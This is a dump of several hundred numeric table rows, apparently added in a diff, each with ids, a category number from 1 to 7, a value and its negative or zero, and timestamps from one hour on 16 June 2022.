+60390,7,14831,14.78544279,-14.78544279,2022-06-16 14:44:05.013828+00 +53055,4,13677,1.002476729,-1.002476729,2022-06-16 14:08:12.785941+00 +53056,4,13645,12.74873725,-12.74873725,2022-06-16 14:08:12.789246+00 +53057,4,13661,6.06849249,-6.06849249,2022-06-16 14:08:12.790181+00 +51790,6,13419,2.590156117,-2.590156117,2022-06-16 14:01:09.24194+00 +53058,4,13693,2.023658985,-2.023658985,2022-06-16 14:08:12.790974+00 +53059,4,13758,1.528709266,-1.528709266,2022-06-16 14:08:12.791733+00 +60501,1,14834,9.198984524,-9.198984524,2022-06-16 14:44:15.087583+00 +60579,7,14762,3.310696512,-3.310696512,2022-06-16 14:44:47.654883+00 +57298,3,14395,4.039528532,-4.039528532,2022-06-16 14:30:47.258744+00 +60654,1,14877,8.257848731,-8.257848731,2022-06-16 14:45:00.100094+00 +60655,1,14909,2.941059247,-2.941059247,2022-06-16 14:45:00.101335+00 +53695,2,13805,3.153420412,-3.153420412,2022-06-16 14:12:24.448206+00 +53702,4,13779,5.693778683,-5.693778683,2022-06-16 14:12:29.071779+00 +57739,1,14527,1.715940154,-1.715940154,2022-06-16 14:32:44.984117+00 +54086,1,13880,6.374290021,-6.374290021,2022-06-16 14:15:05.897494+00 +57805,6,14448,1.671590592,0,2022-06-16 14:32:58.695677+00 +54306,6,13973,5.739256298,-5.739256298,2022-06-16 14:16:45.609677+00 +58228,4,14392,8.782732127,-8.782732127,2022-06-16 14:34:47.970704+00 +54631,7,13742,19.2986781,-19.2986781,2022-06-16 14:18:46.445817+00 +61546,1,15021,1.180992696,0,2022-06-16 14:48:39.168351+00 +54812,6,13871,3.905926132,-3.905926132,2022-06-16 14:20:03.591911+00 +54813,6,13935,3.891571674,-3.891571674,2022-06-16 14:20:03.595719+00 +54814,6,13999,3.877282075,-3.877282075,2022-06-16 14:20:03.596903+00 +54815,6,14063,3.863056854,-3.863056854,2022-06-16 14:20:03.597992+00 +61547,1,14676,11.65943625,-11.65943625,2022-06-16 14:48:39.171873+00 +61548,1,15037,2.926549152,-2.926549152,2022-06-16 14:48:39.172758+00 +61549,1,15005,8.189879185,-8.189879185,2022-06-16 14:48:39.173584+00 +61594,1,14961,4.232747402,-4.232747402,2022-06-16 14:48:45.142693+00 +61595,1,14953,3.837948606,-3.837948606,2022-06-16 14:48:45.144008+00 +61596,1,14938,9.49680352,-9.49680352,2022-06-16 14:48:45.14492+00 +61598,1,14933,9.761652639,-9.761652639,2022-06-16 14:48:45.145768+00 +61599,1,14997,9.723731852,-9.723731852,2022-06-16 14:48:45.146565+00 +61600,1,14937,3.890996844,-3.890996844,2022-06-16 14:48:45.147282+00 +58809,1,14376,14.40229869,-14.40229869,2022-06-16 14:37:10.494135+00 +58810,1,14440,14.35726774,-14.35726774,2022-06-16 14:37:10.497607+00 +61601,1,14962,9.069485683,-9.069485683,2022-06-16 14:48:45.14801+00 +55330,6,14128,1.761795506,0,2022-06-16 14:22:38.744135+00 +59242,2,14719,2.22326348,-2.22326348,2022-06-16 14:39:06.000475+00 +55522,2,14191,2.545698721,-2.545698721,2022-06-16 14:23:09.891806+00 +61995,4,15040,1.112195119,-1.112195119,2022-06-16 14:50:08.82892+00 +61996,4,15024,0.639732433,0,2022-06-16 14:50:08.832434+00 +61997,4,15070,4.613273711,-4.613273711,2022-06-16 14:50:08.833308+00 +61998,4,15086,0.995560378,-0.995560378,2022-06-16 14:50:08.834279+00 +62041,4,15018,3.179222612,-3.179222612,2022-06-16 14:50:16.996703+00 +59720,2,14699,2.823874018,-2.823874018,2022-06-16 14:41:14.564552+00 +55854,1,14188,11.55813847,-11.55813847,2022-06-16 14:24:53.954478+00 +55855,1,14204,11.25735768,-11.25735768,2022-06-16 14:24:53.957823+00 +55856,1,14193,4.731479639,-4.731479639,2022-06-16 14:24:53.95864+00 +55857,1,14229,10.23988403,-10.23988403,2022-06-16 14:24:53.959413+00 +55858,1,14169,4.34809107,-4.34809107,2022-06-16 14:24:53.960149+00 +55859,1,14185,4.294817406,-4.294817406,2022-06-16 14:24:53.960915+00 +55860,1,14170,9.873725001,-9.873725001,2022-06-16 14:24:53.961657+00 +55861,1,14171,5.539422862,-5.539422862,2022-06-16 14:24:56.930686+00 +55862,1,14195,10.71977905,-10.71977905,2022-06-16 14:24:56.931807+00 +62502,3,15102,7.633871,-7.633871,2022-06-16 14:52:04.080903+00 +55933,2,14185,9.886137612,-9.886137612,2022-06-16 14:25:06.025503+00 +55934,2,14186,2.440735713,-2.440735713,2022-06-16 14:25:06.028801+00 +62620,6,15104,2.493132118,-2.493132118,2022-06-16 14:52:20.408985+00 +62703,6,15127,18.98423705,-18.98423705,2022-06-16 14:52:35.780341+00 +52649,3,13679,7.911364429,-7.911364429,2022-06-16 14:06:06.264606+00 +51795,6,13435,2.396694346,-2.396694346,2022-06-16 14:01:09.450763+00 +56796,2,14366,6.993594972,-6.993594972,2022-06-16 14:29:06.868492+00 +56888,6,14399,3.116215784,-3.116215784,2022-06-16 14:29:10.884965+00 +51800,2,13419,4.053393049,-4.053393049,2022-06-16 14:01:14.429027+00 +53248,2,13726,7.393173937,-7.393173937,2022-06-16 14:09:05.451651+00 +53313,4,13600,5.577458833,-5.577458833,2022-06-16 14:09:34.69731+00 +51805,2,13435,3.761489336,-3.761489336,2022-06-16 14:01:14.533222+00 +51806,4,13272,8.001105978,-8.001105978,2022-06-16 14:01:14.809957+00 +51807,4,13336,7.978082672,-7.978082672,2022-06-16 14:01:20.928675+00 +51808,7,13418,4.961148623,-4.961148623,2022-06-16 14:01:24.15099+00 +53485,2,13791,8.090943076,-8.090943076,2022-06-16 14:11:05.469994+00 +60935,4,14975,1.357802675,-1.357802675,2022-06-16 14:46:10.017028+00 +57871,2,14511,2.100337975,-2.100337975,2022-06-16 14:33:05.951698+00 +54568,2,13997,2.916148588,-2.916148588,2022-06-16 14:18:24.420309+00 +54632,4,13920,5.497969191,-5.497969191,2022-06-16 14:18:49.910928+00 +54639,7,13934,18.66829532,-18.66829532,2022-06-16 14:18:59.745717+00 +54705,7,14062,18.06561573,-18.06561573,2022-06-16 14:19:12.721545+00 +61709,2,15039,2.207543622,-2.207543622,2022-06-16 14:49:06.008481+00 +51840,4,13304,7.302682653,-7.302682653,2022-06-16 14:01:39.799895+00 +55007,6,14127,3.584838793,-3.584838793,2022-06-16 14:21:01.22237+00 +51843,4,13401,9.210396178,-9.210396178,2022-06-16 14:01:47.891118+00 +51844,4,13368,7.282499123,-7.282499123,2022-06-16 14:01:49.506864+00 +51845,4,13417,9.103760552,-9.103760552,2022-06-16 14:01:54.032203+00 +51846,4,13425,9.858117784,-9.858117784,2022-06-16 14:01:55.497707+00 +61934,3,15039,6.950781088,-6.950781088,2022-06-16 14:50:05.303484+00 +55077,2,14143,2.223889188,-2.223889188,2022-06-16 14:21:05.832018+00 +55078,2,14057,10.11837891,-10.11837891,2022-06-16 14:21:05.835765+00 +55079,2,14058,2.545895434,-2.545895434,2022-06-16 14:21:05.836513+00 +51852,3,13566,7.169763582,-7.169763582,2022-06-16 14:02:04.111599+00 +62042,1,15102,1.449488697,-1.449488697,2022-06-16 14:50:18.16868+00 +62043,1,15071,5.66342584,-5.66342584,2022-06-16 14:50:18.172309+00 +62044,1,15103,1.668542729,-1.668542729,2022-06-16 14:50:18.173316+00 +62045,1,15086,0.998547027,-0.998547027,2022-06-16 14:50:18.174104+00 +62046,1,15087,1.104318064,-1.104318064,2022-06-16 14:50:18.174906+00 +62080,4,15019,0.433748944,0,2022-06-16 14:50:23.067394+00 +55331,6,14206,3.02209597,-3.02209597,2022-06-16 14:22:38.748288+00 +62081,4,15027,7.336790131,-7.336790131,2022-06-16 14:50:23.068673+00 +62082,4,15035,0.433145987,0,2022-06-16 14:50:23.069373+00 +62083,4,14987,13.11263221,-13.11263221,2022-06-16 14:50:23.070054+00 +62084,4,15003,3.64474578,-3.64474578,2022-06-16 14:50:23.070871+00 +51868,6,13550,4.249098573,-4.249098573,2022-06-16 14:02:04.838419+00 +62126,6,15102,2.96731619,-2.96731619,2022-06-16 14:50:35.758882+00 +62196,3,15035,3.249310283,0,2022-06-16 14:50:59.004127+00 +55563,2,14139,3.113784156,-3.113784156,2022-06-16 14:23:14.557823+00 +59451,6,14750,8.606377627,-8.606377627,2022-06-16 14:40:12.400347+00 +51878,6,13566,3.302209614,-3.302209614,2022-06-16 14:02:05.137427+00 +59591,6,14749,4.225077485,-4.225077485,2022-06-16 14:40:41.940051+00 +59602,4,14743,12.64025792,-12.64025792,2022-06-16 14:40:49.584573+00 +59673,2,14751,7.389861953,-7.389861953,2022-06-16 14:41:05.537335+00 +55778,6,14221,10.46412574,-10.46412574,2022-06-16 14:24:23.619331+00 +62461,3,15024,3.22769261,0,2022-06-16 14:51:51.994725+00 +55863,1,14194,9.840739028,-9.840739028,2022-06-16 14:24:59.932545+00 +55899,2,14270,2.2270122,-2.2270122,2022-06-16 14:25:05.209467+00 +62621,6,15083,1.508358793,0,2022-06-16 14:52:20.425411+00 +55911,2,14238,7.066117756,-7.066117756,2022-06-16 14:25:05.503734+00 +51907,3,13486,8.80814306,-8.80814306,2022-06-16 14:02:06.0225+00 +51908,3,13550,8.744854849,-8.744854849,2022-06-16 14:02:06.025992+00 +64229,3,15210,3.430960861,-3.430960861,2022-06-16 14:58:00.156523+00 +64351,4,15251,4.964575664,-4.964575664,2022-06-16 14:58:16.159368+00 +64369,7,15280,11.95948092,0,2022-06-16 14:58:20.866825+00 +51920,1,13550,2.091868241,-2.091868241,2022-06-16 14:02:11.838368+00 +51921,1,13534,5.364000794,-5.364000794,2022-06-16 14:02:11.84173+00 +51922,1,13566,1.618350152,-1.618350152,2022-06-16 14:02:11.842618+00 +51923,4,13550,2.069662657,-2.069662657,2022-06-16 14:02:13.125572+00 +51924,4,13566,1.602538606,-1.602538606,2022-06-16 14:02:13.129598+00 +51925,4,13470,5.309475817,-5.309475817,2022-06-16 14:02:13.130695+00 +51926,4,13534,5.2957056,-5.2957056,2022-06-16 14:02:13.131707+00 +51927,4,13504,1.220932577,-1.220932577,2022-06-16 14:02:13.1325+00 +51928,4,13485,1.095703346,-1.095703346,2022-06-16 14:02:13.133482+00 +51929,4,13567,1.50925454,-1.50925454,2022-06-16 14:02:13.134507+00 +51930,4,13469,6.264783445,-6.264783445,2022-06-16 14:02:13.135388+00 +51931,4,13453,12.89221008,-12.89221008,2022-06-16 14:02:13.136201+00 +51932,4,13501,1.848224298,-1.848224298,2022-06-16 14:02:13.136877+00 +51933,4,13535,5.585341894,-5.585341894,2022-06-16 14:02:13.137552+00 +51934,4,13397,7.93400211,-7.93400211,2022-06-16 14:02:13.138236+00 +51935,4,13551,1.978054211,-1.978054211,2022-06-16 14:02:13.138912+00 +51936,4,13280,5.671404332,-5.671404332,2022-06-16 14:02:13.139537+00 +53314,7,13674,4.668351614,-4.668351614,2022-06-16 14:09:45.411794+00 +51938,6,13517,10.81351031,-10.81351031,2022-06-16 14:02:13.241395+00 +51962,1,13559,11.39994007,-11.39994007,2022-06-16 14:02:20.810535+00 +51963,1,13504,0.92372963,-0.92372963,2022-06-16 14:02:20.811901+00 +51964,1,13526,13.35854325,-13.35854325,2022-06-16 14:02:20.812728+00 +51965,4,13344,5.664005606,-5.664005606,2022-06-16 14:02:21.432746+00 +51966,4,13491,8.738993057,-8.738993057,2022-06-16 14:02:21.433926+00 +51967,4,13483,0.950714261,-0.950714261,2022-06-16 14:02:22.736189+00 +51968,4,13451,13.79033887,-13.79033887,2022-06-16 14:02:22.737405+00 +51969,4,13467,4.143540115,-4.143540115,2022-06-16 14:02:22.738265+00 +51970,4,13499,0.873372066,-0.873372066,2022-06-16 14:02:22.739102+00 +51980,1,13567,1.836926639,-1.836926639,2022-06-16 14:02:26.809506+00 +51981,1,13482,2.702927537,-2.702927537,2022-06-16 14:02:26.81177+00 +51982,1,13527,14.45889772,-14.45889772,2022-06-16 14:02:26.812716+00 +52002,1,13551,2.39540003,-2.39540003,2022-06-16 14:02:29.810719+00 +52003,1,13535,6.592969592,-6.592969592,2022-06-16 14:02:29.811775+00 +52006,4,13459,5.888492163,-5.888492163,2022-06-16 14:02:29.851004+00 +53402,6,13822,3.084474274,-3.084474274,2022-06-16 14:10:18.901415+00 +57300,6,14461,1.422640327,-1.422640327,2022-06-16 14:30:48.334685+00 +60869,3,14910,7.586846115,-7.586846115,2022-06-16 14:46:03.971083+00 +60870,3,14974,7.523679497,-7.523679497,2022-06-16 14:46:03.97488+00 +53773,2,13824,3.504767257,-3.504767257,2022-06-16 14:13:05.04448+00 +53774,2,13785,10.7269115,-10.7269115,2022-06-16 14:13:05.047844+00 +53775,2,13786,10.83610148,-10.83610148,2022-06-16 14:13:05.048668+00 +53776,2,13801,10.60764826,-10.60764826,2022-06-16 14:13:05.049467+00 +53777,2,13802,2.731514715,-2.731514715,2022-06-16 14:13:05.050262+00 +61012,6,14896,1.52436126,0,2022-06-16 14:46:23.372443+00 +61036,7,14890,3.240503231,-3.240503231,2022-06-16 14:46:26.716546+00 +54022,3,13883,4.818387184,-4.818387184,2022-06-16 14:14:37.055983+00 +54088,2,13951,2.188216232,-2.188216232,2022-06-16 14:15:05.946663+00 +61086,7,14959,14.43433213,-14.43433213,2022-06-16 14:46:46.036266+00 +54370,2,13983,7.997394382,-7.997394382,2022-06-16 14:17:05.651564+00 +54570,6,14061,0.628775332,-0.628775332,2022-06-16 14:18:25.127891+00 +61470,2,14897,9.449399175,-9.449399175,2022-06-16 14:48:06.270914+00 +54633,1,14008,6.519834968,-6.519834968,2022-06-16 14:18:50.898514+00 +61492,4,15039,1.371584385,-1.371584385,2022-06-16 14:48:14.327765+00 +61493,4,14805,6.187476854,-6.187476854,2022-06-16 14:48:14.329211+00 +54725,6,13866,4.963245173,-4.963245173,2022-06-16 14:19:25.525678+00 +61494,4,14869,6.171117307,-6.171117307,2022-06-16 14:48:14.330153+00 +61495,4,14933,6.154828095,-6.154828095,2022-06-16 14:48:14.330989+00 +54967,3,14059,4.959031048,-4.959031048,2022-06-16 14:20:40.17084+00 +54989,4,14008,8.385649874,-8.385649874,2022-06-16 14:20:53.748883+00 +58722,3,14587,3.663592345,-3.663592345,2022-06-16 14:36:50.819487+00 +61871,3,14960,3.21665573,0,2022-06-16 14:49:50.654002+00 +59008,3,14639,5.993673389,-5.993673389,2022-06-16 14:38:05.985486+00 +59178,6,14703,2.691520003,-2.691520003,2022-06-16 14:38:59.334015+00 +62129,1,15018,1.538808842,-1.538808842,2022-06-16 14:50:36.142989+00 +62130,1,15017,3.815886788,-3.815886788,2022-06-16 14:50:36.143818+00 +62131,1,15002,9.420385889,-9.420385889,2022-06-16 14:50:36.144562+00 +62132,1,15025,4.18967876,-4.18967876,2022-06-16 14:50:36.145237+00 +62197,4,15095,10.65118039,-10.65118039,2022-06-16 14:51:01.340324+00 +55564,6,14058,4.770171958,-4.770171958,2022-06-16 14:23:23.379067+00 +55570,7,14122,4.131420081,-4.131420081,2022-06-16 14:23:32.836933+00 +59592,1,14688,3.945127261,-3.945127261,2022-06-16 14:40:42.111962+00 +55687,6,14208,3.092474564,-3.092474564,2022-06-16 14:24:06.146815+00 +59603,7,14698,3.482688524,-3.482688524,2022-06-16 14:40:49.724673+00 +55729,1,14208,0.821553495,-0.821553495,2022-06-16 14:24:14.928455+00 +55730,1,14192,0.450008324,0,2022-06-16 14:24:14.929698+00 +55731,1,14200,6.680490304,-6.680490304,2022-06-16 14:24:14.930561+00 +55732,1,14168,6.167975105,-6.167975105,2022-06-16 14:24:14.931424+00 +55733,1,14176,4.11250352,-4.11250352,2022-06-16 14:24:14.932217+00 +64004,2,15263,7.296015208,-7.296015208,2022-06-16 14:57:06.485502+00 +56682,2,14317,2.592332033,0,2022-06-16 14:28:24.455374+00 +64230,7,15279,11.04632509,-0.50245333,2022-06-16 14:58:01.917075+00 +60480,6,14843,1.48748282,0,2022-06-16 14:44:12.460592+00 +60505,1,14878,4.709150008,-4.709150008,2022-06-16 14:44:21.088401+00 +53315,4,13673,8.733414123,-8.733414123,2022-06-16 14:09:46.113159+00 +53316,4,13657,8.781937391,-8.781937391,2022-06-16 14:09:46.11672+00 +57120,4,14430,4.88754594,-4.88754594,2022-06-16 14:30:11.924395+00 +57121,4,14462,1.505243818,-1.505243818,2022-06-16 14:30:11.92766+00 +57122,4,14446,1.412535645,-1.412535645,2022-06-16 14:30:11.928541+00 +57123,4,14349,12.27659656,-12.27659656,2022-06-16 14:30:11.929335+00 +57124,4,14397,1.81622379,-1.81622379,2022-06-16 14:30:11.930101+00 +53779,2,13870,2.9000952,-2.9000952,2022-06-16 14:13:05.08009+00 +57125,4,14381,0.685239249,0,2022-06-16 14:30:11.930922+00 +57126,4,14365,5.488518656,-5.488518656,2022-06-16 14:30:11.931738+00 +57150,1,14429,8.514961907,-8.514961907,2022-06-16 14:30:20.980242+00 +57151,1,14461,3.031373184,-3.031373184,2022-06-16 14:30:20.981255+00 +54023,4,13720,8.016115763,-8.016115763,2022-06-16 14:14:39.138592+00 +57152,1,14445,1.172852421,0,2022-06-16 14:30:20.981979+00 +60506,1,14910,1.500463127,-1.500463127,2022-06-16 14:44:21.089634+00 +60507,1,14832,0.455837119,0,2022-06-16 14:44:21.09044+00 +54246,6,13840,27.18184896,-27.18184896,2022-06-16 14:16:17.720794+00 +54310,6,13856,12.75346475,-12.75346475,2022-06-16 14:16:46.395607+00 +54311,6,13920,12.69209773,-12.69209773,2022-06-16 14:16:46.398941+00 +60508,1,14816,3.908970929,-3.908970929,2022-06-16 14:44:21.091225+00 +54421,2,13947,3.301440049,-3.301440049,2022-06-16 14:17:14.554651+00 +60509,1,14894,1.090644581,-1.090644581,2022-06-16 14:44:21.091957+00 +54576,6,14077,1.500166518,-1.500166518,2022-06-16 14:18:27.175084+00 +54601,1,13978,9.720774951,-9.720774951,2022-06-16 14:18:32.874644+00 +54602,1,14002,10.00571139,-10.00571139,2022-06-16 14:18:32.875941+00 +54603,1,13994,2.321643343,-2.321643343,2022-06-16 14:18:32.876735+00 +54604,1,13971,7.628190118,-7.628190118,2022-06-16 14:18:32.877496+00 +54634,7,13870,18.97975272,-18.97975272,2022-06-16 14:18:53.87578+00 +60656,1,14828,10.75773646,-10.75773646,2022-06-16 14:45:03.101984+00 +60657,1,14812,10.46251137,-10.46251137,2022-06-16 14:45:03.10553+00 +54773,6,13994,4.915398796,-4.915398796,2022-06-16 14:19:53.944764+00 +60658,1,14844,10.45455282,-10.45455282,2022-06-16 14:45:03.106371+00 +60872,3,14911,6.820579939,-6.820579939,2022-06-16 14:46:04.00451+00 +60937,6,14957,0.519291544,0,2022-06-16 14:46:10.266749+00 +55228,3,14126,7.799859024,-7.799859024,2022-06-16 14:22:06.039261+00 +55357,3,14139,4.447500897,-4.447500897,2022-06-16 14:22:42.066189+00 +55379,6,14157,10.48000546,-10.48000546,2022-06-16 14:22:50.613249+00 +58683,6,14655,3.048676667,-3.048676667,2022-06-16 14:36:32.991414+00 +58729,6,14621,4.301773651,-4.301773651,2022-06-16 14:36:52.055756+00 +58778,2,14623,7.414007337,-7.414007337,2022-06-16 14:37:05.505175+00 +55526,2,14207,2.188632944,-2.188632944,2022-06-16 14:23:09.967422+00 +55601,7,14058,4.098115842,-4.098115842,2022-06-16 14:23:51.818201+00 +55646,3,14207,6.325500051,-6.325500051,2022-06-16 14:24:04.308147+00 +55703,4,14192,0.620452059,0,2022-06-16 14:24:07.277814+00 +55718,4,14255,1.589284209,-1.589284209,2022-06-16 14:24:12.975675+00 +55719,4,14037,6.858673819,-6.858673819,2022-06-16 14:24:12.976844+00 +62133,1,15003,5.369890533,-5.369890533,2022-06-16 14:50:39.172063+00 +62134,1,15019,0.670865139,0,2022-06-16 14:50:39.175472+00 +62135,1,15027,10.17271933,-10.17271933,2022-06-16 14:50:39.176349+00 +55779,1,14203,0.964377053,-0.964377053,2022-06-16 14:24:23.930395+00 +55780,1,14187,1.069639075,-1.069639075,2022-06-16 14:24:23.931646+00 +55781,1,14186,2.112599751,-2.112599751,2022-06-16 14:24:23.932413+00 +55794,6,14187,2.193576863,-2.193576863,2022-06-16 14:24:28.153634+00 +59392,2,14633,9.114342857,-9.114342857,2022-06-16 14:40:05.437545+00 +55832,6,14253,0.541646793,0,2022-06-16 14:24:35.758712+00 +59418,3,14702,6.256969126,-6.256969126,2022-06-16 14:40:06.729929+00 +59419,3,14766,6.197878586,-6.197878586,2022-06-16 14:40:06.733324+00 +55884,3,14162,22.51699992,-22.51699992,2022-06-16 14:25:04.361145+00 +59420,3,14767,5.923822955,-5.923822955,2022-06-16 14:40:06.734222+00 +62259,2,15070,6.538456338,-6.538456338,2022-06-16 14:51:05.585112+00 +62260,2,15086,1.341820882,-1.341820882,2022-06-16 14:51:05.588647+00 +55994,6,14096,26.88675931,-26.88675931,2022-06-16 14:25:24.214457+00 +55995,6,14160,26.82150595,-26.82150595,2022-06-16 14:25:24.217886+00 +59797,7,14766,14.40339484,-14.40339484,2022-06-16 14:41:37.584631+00 +62565,1,15135,5.636959472,-5.636959472,2022-06-16 14:52:09.171615+00 +51947,1,13480,14.47557174,-14.47557174,2022-06-16 14:02:14.812892+00 +51948,1,13472,4.467014832,-4.467014832,2022-06-16 14:02:14.814159+00 +51949,1,13464,6.366054622,-6.366054622,2022-06-16 14:02:14.815081+00 +51950,1,13496,5.788523456,-5.788523456,2022-06-16 14:02:14.815988+00 +51951,4,13482,4.987729069,-4.987729069,2022-06-16 14:02:16.39109+00 +51952,1,13558,10.66176921,-10.66176921,2022-06-16 14:02:17.836823+00 +51954,6,13525,6.415199701,-6.415199701,2022-06-16 14:02:18.278594+00 +51959,6,13504,4.034725172,-4.034725172,2022-06-16 14:02:19.617649+00 +56970,7,14318,17.505625,-17.505625,2022-06-16 14:29:20.858309+00 +51961,6,13533,4.980360656,-4.980360656,2022-06-16 14:02:20.339075+00 +51971,1,13499,1.242898569,-1.242898569,2022-06-16 14:02:23.811427+00 +51972,1,13483,1.34677514,-1.34677514,2022-06-16 14:02:23.812699+00 +60481,4,14848,1.032560222,-1.032560222,2022-06-16 14:44:13.522306+00 +60482,4,14845,1.7033384,-1.7033384,2022-06-16 14:44:13.525579+00 +53317,1,13727,6.408815588,-6.408815588,2022-06-16 14:09:47.841305+00 +53405,4,13723,4.065825826,-4.065825826,2022-06-16 14:10:21.732012+00 +51977,2,13485,3.289234063,-3.289234063,2022-06-16 14:02:24.440804+00 +53406,4,13707,13.71240053,-13.71240053,2022-06-16 14:10:21.735547+00 +51979,6,13549,0.8320973,-0.8320973,2022-06-16 14:02:25.565864+00 +53407,4,13747,8.441477917,-8.441477917,2022-06-16 14:10:21.73649+00 +53408,4,13739,0.86078959,-0.86078959,2022-06-16 14:10:21.737524+00 +53409,4,13755,0.788990156,-0.788990156,2022-06-16 14:10:21.738476+00 +53418,4,13715,5.721079859,-5.721079859,2022-06-16 14:10:29.237477+00 +51987,6,13565,1.426787068,-1.426787068,2022-06-16 14:02:27.48479+00 +60483,4,14829,0.663047072,0,2022-06-16 14:44:13.52639+00 +51989,6,13483,2.567153807,-2.567153807,2022-06-16 14:02:27.526574+00 +60484,4,14797,11.99678603,-11.99678603,2022-06-16 14:44:13.527182+00 +60485,4,14911,1.380619856,-1.380619856,2022-06-16 14:44:13.528013+00 +53700,6,13824,3.521719408,-3.521719408,2022-06-16 14:12:25.7622+00 +60486,4,14813,5.142552415,-5.142552415,2022-06-16 14:44:13.528768+00 +51994,6,13499,2.373915728,-2.373915728,2022-06-16 14:02:27.74218+00 +60487,4,14879,4.833665482,-4.833665482,2022-06-16 14:44:13.529535+00 +60488,4,14895,1.04685215,-1.04685215,2022-06-16 14:44:13.530248+00 +53956,1,13950,1.450096275,-1.450096275,2022-06-16 14:14:17.870515+00 +53957,1,13918,5.097747924,-5.097747924,2022-06-16 14:14:17.874108+00 +51999,3,13483,5.717644005,-5.717644005,2022-06-16 14:02:29.40489+00 +53958,1,13866,2.412350245,-2.412350245,2022-06-16 14:14:17.87499+00 +54024,3,13613,3.814472033,-3.814472033,2022-06-16 14:14:41.607697+00 +57875,1,14493,8.472511537,-8.472511537,2022-06-16 14:33:06.013189+00 +52012,3,13499,5.321095204,-5.321095204,2022-06-16 14:02:30.024766+00 +58039,6,14558,8.771099216,-8.771099216,2022-06-16 14:34:05.047803+00 +54464,3,14014,6.724009943,-6.724009943,2022-06-16 14:18:04.230293+00 +54465,3,14078,6.66809297,-6.66809297,2022-06-16 14:18:04.233752+00 +52018,6,13534,9.696054071,-9.696054071,2022-06-16 14:02:35.58789+00 +58192,4,14264,8.848041152,-8.848041152,2022-06-16 14:34:26.617432+00 +54635,1,14063,2.134736216,-2.134736216,2022-06-16 14:18:56.906299+00 +54650,1,14047,6.29041894,-6.29041894,2022-06-16 14:19:02.939739+00 +54683,2,14078,2.221982882,-2.221982882,2022-06-16 14:19:05.683751+00 +61088,6,14933,5.080096161,-5.080096161,2022-06-16 14:46:49.3422+00 +52024,6,13535,10.85673134,-10.85673134,2022-06-16 14:02:35.740474+00 +61165,2,14942,6.626312727,-6.626312727,2022-06-16 14:47:05.506929+00 +54820,6,13823,2.969364628,-2.969364628,2022-06-16 14:20:03.849721+00 +54821,6,13887,2.957929572,-2.957929572,2022-06-16 14:20:03.853428+00 +54822,6,13951,2.946531022,-2.946531022,2022-06-16 14:20:03.854574+00 +54823,6,14015,2.935168575,-2.935168575,2022-06-16 14:20:03.855572+00 +54824,6,14079,2.923841829,-2.923841829,2022-06-16 14:20:03.856451+00 +52036,6,13551,4.375679808,-4.375679808,2022-06-16 14:02:36.278249+00 +58642,6,14638,2.603053282,-2.603053282,2022-06-16 14:36:22.70901+00 +61476,2,14889,8.723610775,-8.723610775,2022-06-16 14:48:09.449507+00 +61477,2,14953,8.68719466,-8.68719466,2022-06-16 14:48:09.452949+00 +55140,4,14065,8.842907393,-8.842907393,2022-06-16 14:21:43.572789+00 +58851,7,14575,16.08776738,-16.08776738,2022-06-16 14:37:26.801745+00 +52047,6,13567,3.391492346,-3.391492346,2022-06-16 14:02:36.69086+00 +55275,6,14189,0.545032661,0,2022-06-16 14:22:16.698177+00 +52049,6,13226,5.366541684,-5.366541684,2022-06-16 14:02:39.094101+00 +52050,3,13229,4.273837469,-4.273837469,2022-06-16 14:02:40.084828+00 +52051,1,13228,12.74766664,-12.74766664,2022-06-16 14:02:47.834152+00 +52052,1,13292,12.69417226,-12.69417226,2022-06-16 14:02:47.837763+00 +52053,1,13533,9.03322522,-9.03322522,2022-06-16 14:02:50.837745+00 +52054,1,13565,2.87423565,-2.87423565,2022-06-16 14:02:50.84116+00 +52055,1,13549,1.691985355,-1.691985355,2022-06-16 14:02:50.842018+00 +52056,6,13290,5.341561732,-5.341561732,2022-06-16 14:02:51.237523+00 +55313,6,14139,2.027642934,-2.027642934,2022-06-16 14:22:31.347723+00 +55358,3,13869,3.177970147,0,2022-06-16 14:22:42.709603+00 +55380,4,14048,5.428958816,-5.428958816,2022-06-16 14:22:52.793581+00 +55423,6,14207,3.045979669,-3.045979669,2022-06-16 14:23:01.975795+00 +59061,6,14669,10.25439425,-10.25439425,2022-06-16 14:38:16.949512+00 +55528,2,14122,2.515968801,-2.515968801,2022-06-16 14:23:09.993683+00 +59212,2,14640,1.906667982,0,2022-06-16 14:39:05.304152+00 +62050,6,15063,19.12222161,-19.12222161,2022-06-16 14:50:18.274912+00 +52075,1,13420,12.64097462,-12.64097462,2022-06-16 14:02:53.849106+00 +52076,1,13489,5.279511209,-5.279511209,2022-06-16 14:02:53.852214+00 +52077,1,13481,4.791348866,-4.791348866,2022-06-16 14:02:53.853031+00 +52078,1,13500,12.26558949,-12.26558949,2022-06-16 14:02:53.853855+00 +52079,1,13465,4.844108777,-4.844108777,2022-06-16 14:02:53.854676+00 +52080,1,13468,12.15141972,-12.15141972,2022-06-16 14:02:53.855487+00 +52081,1,13484,12.54145918,-12.54145918,2022-06-16 14:02:53.856274+00 +52082,1,13356,12.48916788,-12.48916788,2022-06-16 14:02:53.85693+00 +52083,1,13491,11.24579142,-11.24579142,2022-06-16 14:02:56.836584+00 +52084,1,13467,5.65707824,-5.65707824,2022-06-16 14:02:56.840004+00 +56567,3,14334,7.045872816,-7.045872816,2022-06-16 14:28:04.796544+00 +56568,3,14398,6.987642642,-6.987642642,2022-06-16 14:28:04.800313+00 +56684,6,14381,0.537100305,0,2022-06-16 14:28:28.385726+00 +53318,4,13681,9.44842549,-9.44842549,2022-06-16 14:09:52.114403+00 +53410,1,13715,7.744646846,-7.744646846,2022-06-16 14:10:23.840594+00 +53419,1,13752,5.991610344,-5.991610344,2022-06-16 14:10:29.819326+00 +53420,1,13728,4.315588803,-4.315588803,2022-06-16 14:10:29.820607+00 +53421,1,13720,6.258789763,-6.258789763,2022-06-16 14:10:29.821614+00 +56971,7,14250,3.914898212,-3.914898212,2022-06-16 14:29:24.16116+00 +64593,2,15326,6.408847393,-6.408847393,2022-06-16 14:59:05.881256+00 +53703,1,13803,1.214994497,-1.214994497,2022-06-16 14:12:29.819345+00 +53704,1,13819,1.112433795,-1.112433795,2022-06-16 14:12:29.822826+00 +57385,2,14379,3.182534771,-3.182534771,2022-06-16 14:31:14.449733+00 +54025,1,13949,3.154181549,-3.154181549,2022-06-16 14:14:44.895236+00 +54026,1,13917,8.807191598,-8.807191598,2022-06-16 14:14:44.898526+00 +54027,1,13933,1.441742754,-1.441742754,2022-06-16 14:14:44.899348+00 +54092,2,13865,10.48207993,-10.48207993,2022-06-16 14:15:06.041606+00 +54093,2,13874,11.06325933,-11.06325933,2022-06-16 14:15:06.044987+00 +60944,6,14973,1.336459477,-1.336459477,2022-06-16 14:46:12.310133+00 